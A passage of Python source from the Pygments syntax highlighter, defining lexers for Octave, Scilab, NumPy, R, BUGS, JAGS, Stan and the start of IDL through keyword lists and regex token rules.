"idivide", "ifftshift", "image", "imagesc",
"imfinfo", "imread", "imshow", "imwrite", "index",
"info", "inpolygon", "inputname", "interpft",
"interpn", "intersect", "invhilb", "iqr", "isa",
"isdefinite", "isdir", "is_duplicate_entry",
"isequal", "isequalwithequalnans", "isfigure",
"ishermitian", "ishghandle", "is_leap_year",
"isletter", "ismac", "ismember", "ispc", "isprime",
"isprop", "isscalar", "issquare", "isstrprop",
"issymmetric", "isunix", "is_valid_file_id",
"isvector", "jet", "kendall",
"kolmogorov_smirnov_cdf",
"kolmogorov_smirnov_test", "kruskal_wallis_test",
"krylov", "kurtosis", "laplace_cdf", "laplace_inv",
"laplace_pdf", "laplace_rnd", "legend", "legendre",
"license", "line", "linkprop", "list_primes",
"loadaudio", "loadobj", "logistic_cdf",
"logistic_inv", "logistic_pdf", "logistic_rnd",
"logit", "loglog", "loglogerr", "logm", "logncdf",
"logninv", "lognpdf", "lognrnd", "logspace",
"lookfor", "ls_command", "lsqnonneg", "magic",
"mahalanobis", "manova", "matlabroot",
"mcnemar_test", "mean", "meansq", "median", "menu",
"mesh", "meshc", "meshgrid", "meshz", "mexext",
"mget", "mkpp", "mode", "moment", "movefile",
"mpoles", "mput", "namelengthmax", "nargchk",
"nargoutchk", "nbincdf", "nbininv", "nbinpdf",
"nbinrnd", "nchoosek", "ndgrid", "newplot", "news",
"nonzeros", "normcdf", "normest", "norminv",
"normpdf", "normrnd", "now", "nthroot", "null",
"ocean", "ols", "onenormest", "optimget",
"optimset", "orderfields", "orient", "orth",
"pack", "pareto", "parseparams", "pascal", "patch",
"pathdef", "pcg", "pchip", "pcolor", "pcr",
"peaks", "periodogram", "perl", "perms", "pie",
"pink", "planerot", "playaudio", "plot",
"plotmatrix", "plotyy", "poisscdf", "poissinv",
"poisspdf", "poissrnd", "polar", "poly",
"polyaffine", "polyarea", "polyderiv", "polyfit",
"polygcd", "polyint", "polyout", "polyreduce",
"polyval", "polyvalm", "postpad", "powerset",
"ppder", "ppint", "ppjumps", "ppplot", "ppval",
"pqpnonneg", "prepad", "primes", "print",
"print_usage", "prism", "probit", "qp", "qqplot",
"quadcc", "quadgk", "quadl", "quadv", "quiver",
"qzhess", "rainbow", "randi", "range", "rank",
"ranks", "rat", "reallog", "realpow", "realsqrt",
"record", "rectangle_lw", "rectangle_sw",
"rectint", "refresh", "refreshdata",
"regexptranslate", "repmat", "residue", "ribbon",
"rindex", "roots", "rose", "rosser", "rotdim",
"rref", "run", "run_count", "rundemos", "run_test",
"runtests", "saveas", "saveaudio", "saveobj",
"savepath", "scatter", "secd", "semilogx",
"semilogxerr", "semilogy", "semilogyerr",
"setaudio", "setdiff", "setfield", "setxor",
"shading", "shift", "shiftdim", "sign_test",
"sinc", "sind", "sinetone", "sinewave", "skewness",
"slice", "sombrero", "sortrows", "spaugment",
"spconvert", "spdiags", "spearman", "spectral_adf",
"spectral_xdf", "specular", "speed", "spencer",
"speye", "spfun", "sphere", "spinmap", "spline",
"spones", "sprand", "sprandn", "sprandsym",
"spring", "spstats", "spy", "sqp", "stairs",
"statistics", "std", "stdnormal_cdf",
"stdnormal_inv", "stdnormal_pdf", "stdnormal_rnd",
"stem", "stft", "strcat", "strchr", "strjust",
"strmatch", "strread", "strsplit", "strtok",
"strtrim", "strtrunc", "structfun", "studentize",
"subplot", "subsindex", "subspace", "substr",
"substruct", "summer", "surf", "surface", "surfc",
"surfl", "surfnorm", "svds", "swapbytes",
"sylvester_matrix", "symvar", "synthesis", "table",
"tand", "tar", "tcdf", "tempdir", "tempname",
"test", "text", "textread", "textscan", "tinv",
"title", "toeplitz", "tpdf", "trace", "trapz",
"treelayout", "treeplot", "triangle_lw",
"triangle_sw", "tril", "trimesh", "triplequad",
"triplot", "trisurf", "triu", "trnd", "tsearchn",
"t_test", "t_test_regression", "type", "unidcdf",
"unidinv", "unidpdf", "unidrnd", "unifcdf",
"unifinv", "unifpdf", "unifrnd", "union", "unique",
"unix", "unmkpp", "unpack", "untabify", "untar",
"unwrap", "unzip", "u_test", "validatestring",
"vander", "var", "var_test", "vech", "ver",
"version", "view", "voronoi", "voronoin",
"waitforbuttonpress", "wavread", "wavwrite",
"wblcdf", "wblinv", "wblpdf", "wblrnd", "weekday",
"welch_test", "what", "white", "whitebg",
"wienrnd", "wilcoxon_test", "wilkinson", "winter",
"xlabel", "xlim", "ylabel", "yulewalker", "zip",
"zlabel", "z_test", ]
loadable_kw = [ "airy", "amd", "balance", "besselh", "besseli",
"besselj", "besselk", "bessely", "bitpack",
"bsxfun", "builtin", "ccolamd", "cellfun",
"cellslices", "chol", "choldelete", "cholinsert",
"cholinv", "cholshift", "cholupdate", "colamd",
"colloc", "convhulln", "convn", "csymamd",
"cummax", "cummin", "daspk", "daspk_options",
"dasrt", "dasrt_options", "dassl", "dassl_options",
"dbclear", "dbdown", "dbstack", "dbstatus",
"dbstop", "dbtype", "dbup", "dbwhere", "det",
"dlmread", "dmperm", "dot", "eig", "eigs",
"endgrent", "endpwent", "etree", "fft", "fftn",
"fftw", "filter", "find", "full", "gcd",
"getgrent", "getgrgid", "getgrnam", "getpwent",
"getpwnam", "getpwuid", "getrusage", "givens",
"gmtime", "gnuplot_binary", "hess", "ifft",
"ifftn", "inv", "isdebugmode", "issparse", "kron",
"localtime", "lookup", "lsode", "lsode_options",
"lu", "luinc", "luupdate", "matrix_type", "max",
"min", "mktime", "pinv", "qr", "qrdelete",
"qrinsert", "qrshift", "qrupdate", "quad",
"quad_options", "qz", "rand", "rande", "randg",
"randn", "randp", "randperm", "rcond", "regexp",
"regexpi", "regexprep", "schur", "setgrent",
"setpwent", "sort", "spalloc", "sparse", "spparms",
"sprank", "sqrtm", "strfind", "strftime",
"strptime", "strrep", "svd", "svd_driver", "syl",
"symamd", "symbfact", "symrcm", "time", "tsearch",
"typecast", "urlread", "urlwrite", ]
mapping_kw = [ "abs", "acos", "acosh", "acot", "acoth", "acsc",
"acsch", "angle", "arg", "asec", "asech", "asin",
"asinh", "atan", "atanh", "beta", "betainc",
"betaln", "bincoeff", "cbrt", "ceil", "conj", "cos",
"cosh", "cot", "coth", "csc", "csch", "erf", "erfc",
"erfcx", "erfinv", "exp", "finite", "fix", "floor",
"fmod", "gamma", "gammainc", "gammaln", "imag",
"isalnum", "isalpha", "isascii", "iscntrl",
"isdigit", "isfinite", "isgraph", "isinf",
"islower", "isna", "isnan", "isprint", "ispunct",
"isspace", "isupper", "isxdigit", "lcm", "lgamma",
"log", "lower", "mod", "real", "rem", "round",
"roundb", "sec", "sech", "sign", "sin", "sinh",
"sqrt", "tan", "tanh", "toascii", "tolower", "xor",
]
builtin_consts = [ "EDITOR", "EXEC_PATH", "I", "IMAGE_PATH", "NA",
"OCTAVE_HOME", "OCTAVE_VERSION", "PAGER",
"PAGER_FLAGS", "SEEK_CUR", "SEEK_END", "SEEK_SET",
"SIG", "S_ISBLK", "S_ISCHR", "S_ISDIR", "S_ISFIFO",
"S_ISLNK", "S_ISREG", "S_ISSOCK", "WCONTINUE",
"WCOREDUMP", "WEXITSTATUS", "WIFCONTINUED",
"WIFEXITED", "WIFSIGNALED", "WIFSTOPPED", "WNOHANG",
"WSTOPSIG", "WTERMSIG", "WUNTRACED", ]
tokens = {
'root': [
#We should look into multiline comments
(r'[%#].*$', Comment),
(r'^\s*function', Keyword, 'deffunc'),
# from 'iskeyword' on hg changeset 8cc154f45e37
(r'(__FILE__|__LINE__|break|case|catch|classdef|continue|do|else|'
r'elseif|end|end_try_catch|end_unwind_protect|endclassdef|'
r'endevents|endfor|endfunction|endif|endmethods|endproperties|'
r'endswitch|endwhile|events|for|function|get|global|if|methods|'
r'otherwise|persistent|properties|return|set|static|switch|try|'
r'until|unwind_protect|unwind_protect_cleanup|while)\b', Keyword),
("(" + "|".join( builtin_kw + command_kw
+ function_kw + loadable_kw
+ mapping_kw) + r')\b', Name.Builtin),
("(" + "|".join(builtin_consts) + r')\b', Name.Constant),
# operators in Octave but not Matlab:
(r'-=|!=|!|/=|--', Operator),
# operators:
(r'-|==|~=|<|>|<=|>=|&&|&|~|\|\|?', Operator),
# operators in Octave but not Matlab requiring escape for re:
(r'\*=|\+=|\^=|\/=|\\=|\*\*|\+\+|\.\*\*',Operator),
# operators requiring escape for re:
(r'\.\*|\*|\+|\.\^|\.\\|\.\/|\/|\\', Operator),
# punctuation:
(r'\[|\]|\(|\)|\{|\}|:|@|\.|,', Punctuation),
(r'=|:|;', Punctuation),
(r'"[^"]*"', String),
(r'(\d+\.\d*|\d*\.\d+)([eEf][+-]?[0-9]+)?', Number.Float),
(r'\d+[eEf][+-]?[0-9]+', Number.Float),
(r'\d+', Number.Integer),
# quote can be transpose, instead of string:
# (not great, but handles common cases...)
(r'(?<=[\w\)\]])\'', Operator),
(r'(?<![\w\)\]])\'', String, 'string'),
('[a-zA-Z_][a-zA-Z0-9_]*', Name),
(r'.', Text),
],
'string': [
(r"[^']*'", String, '#pop'),
],
'deffunc': [
(r'(\s*)(?:(.+)(\s*)(=)(\s*))?(.+)(\()(.*)(\))(\s*)',
bygroups(Text.Whitespace, Text, Text.Whitespace, Punctuation,
Text.Whitespace, Name.Function, Punctuation, Text,
Punctuation, Text.Whitespace), '#pop'),
],
}
def analyse_text(text):
if re.match('^\s*[%#]', text, re.M): #Comment
return 0.1
class ScilabLexer(RegexLexer):
"""
For Scilab source code.
*New in Pygments 1.5.*
"""
name = 'Scilab'
aliases = ['scilab']
filenames = ['*.sci', '*.sce', '*.tst']
mimetypes = ['text/scilab']
tokens = {
'root': [
(r'//.*?$', Comment.Single),
(r'^\s*function', Keyword, 'deffunc'),
(r'(__FILE__|__LINE__|break|case|catch|classdef|continue|do|else|'
r'elseif|end|end_try_catch|end_unwind_protect|endclassdef|'
r'endevents|endfor|endfunction|endif|endmethods|endproperties|'
r'endswitch|endwhile|events|for|function|get|global|if|methods|'
r'otherwise|persistent|properties|return|set|static|switch|try|'
r'until|unwind_protect|unwind_protect_cleanup|while)\b', Keyword),
("(" + "|".join(_scilab_builtins.functions_kw +
_scilab_builtins.commands_kw +
_scilab_builtins.macros_kw
) + r')\b', Name.Builtin),
(r'(%s)\b' % "|".join(map(re.escape, _scilab_builtins.builtin_consts)),
Name.Constant),
# operators:
(r'-|==|~=|<|>|<=|>=|&&|&|~|\|\|?', Operator),
# operators requiring escape for re:
(r'\.\*|\*|\+|\.\^|\.\\|\.\/|\/|\\', Operator),
# punctuation:
(r'[\[\](){}@.,=:;]', Punctuation),
(r'"[^"]*"', String),
# quote can be transpose, instead of string:
# (not great, but handles common cases...)
(r'(?<=[\w\)\]])\'', Operator),
(r'(?<![\w\)\]])\'', String, 'string'),
(r'(\d+\.\d*|\d*\.\d+)([eEf][+-]?[0-9]+)?', Number.Float),
(r'\d+[eEf][+-]?[0-9]+', Number.Float),
(r'\d+', Number.Integer),
('[a-zA-Z_][a-zA-Z0-9_]*', Name),
(r'.', Text),
],
'string': [
(r"[^']*'", String, '#pop'),
(r'.', String, '#pop'),
],
'deffunc': [
(r'(\s*)(?:(.+)(\s*)(=)(\s*))?(.+)(\()(.*)(\))(\s*)',
bygroups(Text.Whitespace, Text, Text.Whitespace, Punctuation,
Text.Whitespace, Name.Function, Punctuation, Text,
Punctuation, Text.Whitespace), '#pop'),
],
}
class NumPyLexer(PythonLexer):
"""
A Python lexer recognizing Numerical Python builtins.
*New in Pygments 0.10.*
"""
name = 'NumPy'
aliases = ['numpy']
# override the mimetypes to not inherit them from python
mimetypes = []
filenames = []
EXTRA_KEYWORDS = set([
'abs', 'absolute', 'accumulate', 'add', 'alen', 'all', 'allclose',
'alltrue', 'alterdot', 'amax', 'amin', 'angle', 'any', 'append',
'apply_along_axis', 'apply_over_axes', 'arange', 'arccos', 'arccosh',
'arcsin', 'arcsinh', 'arctan', 'arctan2', 'arctanh', 'argmax', 'argmin',
'argsort', 'argwhere', 'around', 'array', 'array2string', 'array_equal',
'array_equiv', 'array_repr', 'array_split', 'array_str', 'arrayrange',
'asanyarray', 'asarray', 'asarray_chkfinite', 'ascontiguousarray',
'asfarray', 'asfortranarray', 'asmatrix', 'asscalar', 'astype',
'atleast_1d', 'atleast_2d', 'atleast_3d', 'average', 'bartlett',
'base_repr', 'beta', 'binary_repr', 'bincount', 'binomial',
'bitwise_and', 'bitwise_not', 'bitwise_or', 'bitwise_xor', 'blackman',
'bmat', 'broadcast', 'byte_bounds', 'bytes', 'byteswap', 'c_',
'can_cast', 'ceil', 'choose', 'clip', 'column_stack', 'common_type',
'compare_chararrays', 'compress', 'concatenate', 'conj', 'conjugate',
'convolve', 'copy', 'corrcoef', 'correlate', 'cos', 'cosh', 'cov',
'cross', 'cumprod', 'cumproduct', 'cumsum', 'delete', 'deprecate',
'diag', 'diagflat', 'diagonal', 'diff', 'digitize', 'disp', 'divide',
'dot', 'dsplit', 'dstack', 'dtype', 'dump', 'dumps', 'ediff1d', 'empty',
'empty_like', 'equal', 'exp', 'expand_dims', 'expm1', 'extract', 'eye',
'fabs', 'fastCopyAndTranspose', 'fft', 'fftfreq', 'fftshift', 'fill',
'finfo', 'fix', 'flat', 'flatnonzero', 'flatten', 'fliplr', 'flipud',
'floor', 'floor_divide', 'fmod', 'frexp', 'fromarrays', 'frombuffer',
'fromfile', 'fromfunction', 'fromiter', 'frompyfunc', 'fromstring',
'generic', 'get_array_wrap', 'get_include', 'get_numarray_include',
'get_numpy_include', 'get_printoptions', 'getbuffer', 'getbufsize',
'geterr', 'geterrcall', 'geterrobj', 'getfield', 'gradient', 'greater',
'greater_equal', 'gumbel', 'hamming', 'hanning', 'histogram',
'histogram2d', 'histogramdd', 'hsplit', 'hstack', 'hypot', 'i0',
'identity', 'ifft', 'imag', 'index_exp', 'indices', 'inf', 'info',
'inner', 'insert', 'int_asbuffer', 'interp', 'intersect1d',
'intersect1d_nu', 'inv', 'invert', 'iscomplex', 'iscomplexobj',
'isfinite', 'isfortran', 'isinf', 'isnan', 'isneginf', 'isposinf',
'isreal', 'isrealobj', 'isscalar', 'issctype', 'issubclass_',
'issubdtype', 'issubsctype', 'item', 'itemset', 'iterable', 'ix_',
'kaiser', 'kron', 'ldexp', 'left_shift', 'less', 'less_equal', 'lexsort',
'linspace', 'load', 'loads', 'loadtxt', 'log', 'log10', 'log1p', 'log2',
'logical_and', 'logical_not', 'logical_or', 'logical_xor', 'logspace',
'lstsq', 'mat', 'matrix', 'max', 'maximum', 'maximum_sctype',
'may_share_memory', 'mean', 'median', 'meshgrid', 'mgrid', 'min',
'minimum', 'mintypecode', 'mod', 'modf', 'msort', 'multiply', 'nan',
'nan_to_num', 'nanargmax', 'nanargmin', 'nanmax', 'nanmin', 'nansum',
'ndenumerate', 'ndim', 'ndindex', 'negative', 'newaxis', 'newbuffer',
'newbyteorder', 'nonzero', 'not_equal', 'obj2sctype', 'ogrid', 'ones',
'ones_like', 'outer', 'permutation', 'piecewise', 'pinv', 'pkgload',
'place', 'poisson', 'poly', 'poly1d', 'polyadd', 'polyder', 'polydiv',
'polyfit', 'polyint', 'polymul', 'polysub', 'polyval', 'power', 'prod',
'product', 'ptp', 'put', 'putmask', 'r_', 'randint', 'random_integers',
'random_sample', 'ranf', 'rank', 'ravel', 'real', 'real_if_close',
'recarray', 'reciprocal', 'reduce', 'remainder', 'repeat', 'require',
'reshape', 'resize', 'restoredot', 'right_shift', 'rint', 'roll',
'rollaxis', 'roots', 'rot90', 'round', 'round_', 'row_stack', 's_',
'sample', 'savetxt', 'sctype2char', 'searchsorted', 'seed', 'select',
'set_numeric_ops', 'set_printoptions', 'set_string_function',
'setbufsize', 'setdiff1d', 'seterr', 'seterrcall', 'seterrobj',
'setfield', 'setflags', 'setmember1d', 'setxor1d', 'shape',
'show_config', 'shuffle', 'sign', 'signbit', 'sin', 'sinc', 'sinh',
'size', 'slice', 'solve', 'sometrue', 'sort', 'sort_complex', 'source',
'split', 'sqrt', 'square', 'squeeze', 'standard_normal', 'std',
'subtract', 'sum', 'svd', 'swapaxes', 'take', 'tan', 'tanh', 'tensordot',
'test', 'tile', 'tofile', 'tolist', 'tostring', 'trace', 'transpose',
'trapz', 'tri', 'tril', 'trim_zeros', 'triu', 'true_divide', 'typeDict',
'typename', 'uniform', 'union1d', 'unique', 'unique1d', 'unravel_index',
'unwrap', 'vander', 'var', 'vdot', 'vectorize', 'view', 'vonmises',
'vsplit', 'vstack', 'weibull', 'where', 'who', 'zeros', 'zeros_like'
])
def get_tokens_unprocessed(self, text):
for index, token, value in \
PythonLexer.get_tokens_unprocessed(self, text):
if token is Name and value in self.EXTRA_KEYWORDS:
yield index, Keyword.Pseudo, value
else:
yield index, token, value
def analyse_text(text):
return (shebang_matches(text, r'pythonw?(2(\.\d)?)?') or
'import ' in text[:1000]) \
and ('import numpy' in text or 'from numpy import' in text)
class RConsoleLexer(Lexer):
"""
For R console transcripts or R CMD BATCH output files.
"""
name = 'RConsole'
aliases = ['rconsole', 'rout']
filenames = ['*.Rout']
def get_tokens_unprocessed(self, text):
slexer = SLexer(**self.options)
current_code_block = ''
insertions = []
for match in line_re.finditer(text):
line = match.group()
if line.startswith('>') or line.startswith('+'):
# Colorize the prompt as such,
# then put rest of line into current_code_block
insertions.append((len(current_code_block),
[(0, Generic.Prompt, line[:2])]))
current_code_block += line[2:]
else:
# We have reached a non-prompt line!
# If we have stored prompt lines, need to process them first.
if current_code_block:
# Weave together the prompts and highlight code.
for item in do_insertions(insertions,
slexer.get_tokens_unprocessed(current_code_block)):
yield item
# Reset vars for next code block.
current_code_block = ''
insertions = []
# Now process the actual line itself, this is output from R.
yield match.start(), Generic.Output, line
# If we happen to end on a code block with nothing after it, need to
# process the last code block. This is neither elegant nor DRY so
# should be changed.
if current_code_block:
for item in do_insertions(insertions,
slexer.get_tokens_unprocessed(current_code_block)):
yield item
class SLexer(RegexLexer):
"""
For S, S-plus, and R source code.
*New in Pygments 0.10.*
"""
name = 'S'
aliases = ['splus', 's', 'r']
filenames = ['*.S', '*.R', '.Rhistory', '.Rprofile']
mimetypes = ['text/S-plus', 'text/S', 'text/x-r-source', 'text/x-r',
'text/x-R', 'text/x-r-history', 'text/x-r-profile']
tokens = {
'comments': [
(r'#.*$', Comment.Single),
],
'valid_name': [
(r'[a-zA-Z][0-9a-zA-Z\._]*', Text),
# can begin with ., but not if that is followed by a digit
(r'\.[a-zA-Z_][0-9a-zA-Z\._]*', Text),
],
'punctuation': [
(r'\[{1,2}|\]{1,2}|\(|\)|;|,', Punctuation),
],
'keywords': [
(r'(if|else|for|while|repeat|in|next|break|return|switch|function)'
r'(?![0-9a-zA-Z\._])',
Keyword.Reserved)
],
'operators': [
(r'<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\|\|?|\?', Operator),
(r'\*|\+|\^|/|!|%[^%]*%|=|~|\$|@|:{1,3}', Operator)
],
'builtin_symbols': [
(r'(NULL|NA(_(integer|real|complex|character)_)?|'
r'Inf|TRUE|FALSE|NaN|\.\.(\.|[0-9]+))'
r'(?![0-9a-zA-Z\._])',
Keyword.Constant),
(r'(T|F)\b', Keyword.Variable),
],
'numbers': [
# hex number
(r'0[xX][a-fA-F0-9]+([pP][0-9]+)?[Li]?', Number.Hex),
# decimal number
(r'[+-]?([0-9]+(\.[0-9]+)?|\.[0-9]+)([eE][+-]?[0-9]+)?[Li]?',
Number),
],
'statements': [
include('comments'),
# whitespaces
(r'\s+', Text),
(r'`.*?`', String.Backtick),
(r'\'', String, 'string_squote'),
(r'\"', String, 'string_dquote'),
include('builtin_symbols'),
include('numbers'),
include('keywords'),
include('punctuation'),
include('operators'),
include('valid_name'),
],
'root': [
include('statements'),
# blocks:
(r'\{|\}', Punctuation),
#(r'\{', Punctuation, 'block'),
(r'.', Text),
],
#'block': [
# include('statements'),
# ('\{', Punctuation, '#push'),
# ('\}', Punctuation, '#pop')
#],
'string_squote': [
(r'([^\'\\]|\\.)*\'', String, '#pop'),
],
'string_dquote': [
(r'([^"\\]|\\.)*"', String, '#pop'),
],
}
def analyse_text(text):
if re.search(r'[a-z0-9_\])\s]<-(?!-)', text):
return 0.11
class BugsLexer(RegexLexer):
"""
Pygments Lexer for `OpenBugs <http://www.openbugs.info/w/>`_ and WinBugs
models.
*New in Pygments 1.6.*
"""
name = 'BUGS'
aliases = ['bugs', 'winbugs', 'openbugs']
filenames = ['*.bug']
_FUNCTIONS = [
# Scalar functions
'abs', 'arccos', 'arccosh', 'arcsin', 'arcsinh', 'arctan', 'arctanh',
'cloglog', 'cos', 'cosh', 'cumulative', 'cut', 'density', 'deviance',
'equals', 'expr', 'gammap', 'ilogit', 'icloglog', 'integral', 'log',
'logfact', 'loggam', 'logit', 'max', 'min', 'phi', 'post.p.value',
'pow', 'prior.p.value', 'probit', 'replicate.post', 'replicate.prior',
'round', 'sin', 'sinh', 'solution', 'sqrt', 'step', 'tan', 'tanh',
'trunc',
# Vector functions
'inprod', 'interp.lin', 'inverse', 'logdet', 'mean', 'eigen.vals',
'ode', 'prod', 'p.valueM', 'rank', 'ranked', 'replicate.postM',
'sd', 'sort', 'sum',
## Special
'D', 'I', 'F', 'T', 'C']
""" OpenBUGS built-in functions
From http://www.openbugs.info/Manuals/ModelSpecification.html#ContentsAII
This also includes
- T, C, I : Truncation and censoring.
``T`` and ``C`` are in OpenBUGS. ``I`` in WinBUGS.
- D : ODE
- F : Functional http://www.openbugs.info/Examples/Functionals.html
"""
_DISTRIBUTIONS = ['dbern', 'dbin', 'dcat', 'dnegbin', 'dpois',
'dhyper', 'dbeta', 'dchisqr', 'ddexp', 'dexp',
'dflat', 'dgamma', 'dgev', 'df', 'dggamma', 'dgpar',
'dloglik', 'dlnorm', 'dlogis', 'dnorm', 'dpar',
'dt', 'dunif', 'dweib', 'dmulti', 'ddirch', 'dmnorm',
'dmt', 'dwish']
""" OpenBUGS built-in distributions
Functions from
http://www.openbugs.info/Manuals/ModelSpecification.html#ContentsAI
"""
tokens = {
'whitespace' : [
(r"\s+", Text),
],
'comments' : [
# Comments
(r'#.*$', Comment.Single),
],
'root': [
# Comments
include('comments'),
include('whitespace'),
# Block start
(r'(model)(\s+)({)',
bygroups(Keyword.Namespace, Text, Punctuation)),
# Reserved Words
(r'(for|in)(?![0-9a-zA-Z\._])', Keyword.Reserved),
# Built-in Functions
(r'(%s)(?=\s*\()'
% r'|'.join(_FUNCTIONS + _DISTRIBUTIONS),
Name.Builtin),
# Regular variable names
(r'[A-Za-z][A-Za-z0-9_.]*', Name),
# Number Literals
(r'[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?', Number),
# Punctuation
(r'\[|\]|\(|\)|:|,|;', Punctuation),
# Assignment operators
# SLexer makes these tokens Operators.
(r'<-|~', Operator),
# Infix and prefix operators
(r'\+|-|\*|/', Operator),
# Block
(r'[{}]', Punctuation),
]
}
def analyse_text(text):
if re.search(r"^\s*model\s*{", text, re.M):
return 0.7
else:
return 0.0
class JagsLexer(RegexLexer):
"""
Pygments Lexer for JAGS.
*New in Pygments 1.6.*
"""
name = 'JAGS'
aliases = ['jags']
filenames = ['*.jag', '*.bug']
## JAGS
_FUNCTIONS = [
'abs', 'arccos', 'arccosh', 'arcsin', 'arcsinh', 'arctan', 'arctanh',
'cos', 'cosh', 'cloglog',
'equals', 'exp', 'icloglog', 'ifelse', 'ilogit', 'log', 'logfact',
'loggam', 'logit', 'phi', 'pow', 'probit', 'round', 'sin', 'sinh',
'sqrt', 'step', 'tan', 'tanh', 'trunc', 'inprod', 'interp.lin',
'logdet', 'max', 'mean', 'min', 'prod', 'sum', 'sd', 'inverse',
'rank', 'sort', 't', 'acos', 'acosh', 'asin', 'asinh', 'atan',
# Truncation/Censoring (should I include)
'T', 'I']
# Distributions with density, probability and quartile functions
_DISTRIBUTIONS = ['[dpq]%s' % x for x in
['bern', 'beta', 'dchiqsqr', 'ddexp', 'dexp',
'df', 'gamma', 'gen.gamma', 'logis', 'lnorm',
'negbin', 'nchisqr', 'norm', 'par', 'pois', 'weib']]
# Other distributions without density and probability
_OTHER_DISTRIBUTIONS = [
'dt', 'dunif', 'dbetabin', 'dbern', 'dbin', 'dcat', 'dhyper',
'ddirch', 'dmnorm', 'dwish', 'dmt', 'dmulti', 'dbinom', 'dchisq',
'dnbinom', 'dweibull', 'ddirich']
tokens = {
'whitespace' : [
(r"\s+", Text),
],
'names' : [
# Regular variable names
(r'[a-zA-Z][a-zA-Z0-9_.]*\b', Name),
],
'comments' : [
# do not use stateful comments
(r'(?s)/\*.*?\*/', Comment.Multiline),
# Comments
(r'#.*$', Comment.Single),
],
'root': [
# Comments
include('comments'),
include('whitespace'),
# Block start
(r'(model|data)(\s+)({)',
bygroups(Keyword.Namespace, Text, Punctuation)),
(r'var(?![0-9a-zA-Z\._])', Keyword.Declaration),
# Reserved Words
(r'(for|in)(?![0-9a-zA-Z\._])', Keyword.Reserved),
# Builtins
# Need to use lookahead because . is a valid char
(r'(%s)(?=\s*\()' % r'|'.join(_FUNCTIONS
+ _DISTRIBUTIONS
+ _OTHER_DISTRIBUTIONS),
Name.Builtin),
# Names
include('names'),
# Number Literals
(r'[-+]?[0-9]*\.?[0-9]+([eE][-+]?[0-9]+)?', Number),
(r'\[|\]|\(|\)|:|,|;', Punctuation),
# Assignment operators
(r'<-|~', Operator),
# # JAGS includes many more than OpenBUGS
(r'\+|-|\*|\/|\|\|[&]{2}|[<>=]=?|\^|%.*?%', Operator),
(r'[{}]', Punctuation),
]
}
def analyse_text(text):
if re.search(r'^\s*model\s*\{', text, re.M):
if re.search(r'^\s*data\s*\{', text, re.M):
return 0.9
elif re.search(r'^\s*var', text, re.M):
return 0.9
else:
return 0.3
else:
return 0
class StanLexer(RegexLexer):
"""Pygments Lexer for Stan models.
The Stan modeling language is specified in the *Stan 1.3.0
Modeling Language Manual* `pdf
<http://code.google.com/p/stan/downloads/detail?name=stan-reference-1.3.0.pdf>`_.
*New in Pygments 1.6.*
"""
name = 'Stan'
aliases = ['stan']
filenames = ['*.stan']
tokens = {
'whitespace' : [
(r"\s+", Text),
],
'comments' : [
(r'(?s)/\*.*?\*/', Comment.Multiline),
# Comments
(r'(//|#).*$', Comment.Single),
],
'root': [
# Stan is more restrictive on strings than this regex
(r'"[^"]*"', String),
# Comments
include('comments'),
# block start
include('whitespace'),
# Block start
(r'(%s)(\s*)({)' %
r'|'.join(('data', r'transformed\s+?data',
'parameters', r'transformed\s+parameters',
'model', r'generated\s+quantities')),
bygroups(Keyword.Namespace, Text, Punctuation)),
# Reserved Words
(r'(%s)\b' % r'|'.join(_stan_builtins.KEYWORDS), Keyword),
# Truncation
(r'T(?=\s*\[)', Keyword),
# Data types
(r'(%s)\b' % r'|'.join(_stan_builtins.TYPES), Keyword.Type),
# Punctuation
(r"[;:,\[\]()]", Punctuation),
# Builtin
(r'(%s)(?=\s*\()'
% r'|'.join(_stan_builtins.FUNCTIONS
+ _stan_builtins.DISTRIBUTIONS),
Name.Builtin),
# Special names ending in __, like lp__
(r'[A-Za-z][A-Za-z0-9_]*__\b', Name.Builtin.Pseudo),
(r'(%s)\b' % r'|'.join(_stan_builtins.RESERVED), Keyword.Reserved),
# Regular variable names
(r'[A-Za-z][A-Za-z0-9_]*\b', Name),
# Real Literals
(r'-?[0-9]+(\.[0-9]+)?[eE]-?[0-9]+', Number.Float),
(r'-?[0-9]*\.[0-9]*', Number.Float),
# Integer Literals
(r'-?[0-9]+', Number.Integer),
# Assignment operators
# SLexer makes these tokens Operators.
(r'<-|~', Operator),
# Infix and prefix operators (and = )
(r"\+|-|\.?\*|\.?/|\\|'|==?|!=?|<=?|>=?|\|\||&&", Operator),
# Block delimiters
(r'[{}]', Punctuation),
]
}
def analyse_text(text):
if re.search(r'^\s*parameters\s*\{', text, re.M):
return 1.0
else:
return 0.0
class IDLLexer(RegexLexer):
"""
Pygments Lexer for IDL (Interactive Data Language).
*New in Pygments 1.6.*
"""
name = 'IDL'
aliases = ['idl']
filenames = ['*.pro']
mimetypes = ['text/idl']
_RESERVED = ['and', 'begin', 'break', 'case', 'common', 'compile_opt',
'continue', 'do', 'else', 'end', 'endcase', 'elseelse',
'endfor', 'endforeach', 'endif', 'endrep', 'endswitch',
'endwhile', 'eq', 'for', 'foreach', 'forward_function',
'function', 'ge', 'goto', 'gt', 'if', 'inherits', 'le',
'lt', 'mod', 'ne', 'not', 'of', 'on_ioerror', 'or', 'pro',
'repeat', 'switch', 'then', 'until', 'while', 'xor']
"""Reserved words from: http://www.exelisvis.com/docs/reswords.html"""
_BUILTIN_LIB = ['abs', 'acos', 'adapt_hist_equal', 'alog', 'alog10',
'amoeba', 'annotate', 'app_user_dir', 'app_user_dir_query',
'arg_present', 'array_equal', 'array_indices', 'arrow',
'ascii_template', 'asin', 'assoc', 'atan', 'axis',
'a_correlate', 'bandpass_filter', 'bandreject_filter',
'barplot', 'bar_plot', 'beseli', 'beselj', 'beselk',
'besely', 'beta', 'bilinear', 'binary_template', 'bindgen',
'binomial', 'bin_date', 'bit_ffs', 'bit_population',
'blas_axpy', 'blk_con', 'box_cursor', 'breakpoint',
'broyden', 'butterworth', 'bytarr', 'byte', 'byteorder',
'bytscl', 'caldat', 'calendar', 'call_external',
'call_function', 'call_method', 'call_procedure', 'canny',
'catch', 'cd', 'cdf_[0-9a-za-z_]*', 'ceil', 'chebyshev',
'check_math',
'chisqr_cvf', 'chisqr_pdf', 'choldc', 'cholsol', 'cindgen',
'cir_3pnt', 'close', 'cluster', 'cluster_tree', 'clust_wts',
'cmyk_convert', 'colorbar', 'colorize_sample',
'colormap_applicable', 'colormap_gradient',
'colormap_rotation', 'colortable', 'color_convert',
'color_exchange', 'color_quan', 'color_range_map', 'comfit',
'command_line_args', 'complex', 'complexarr', 'complexround',
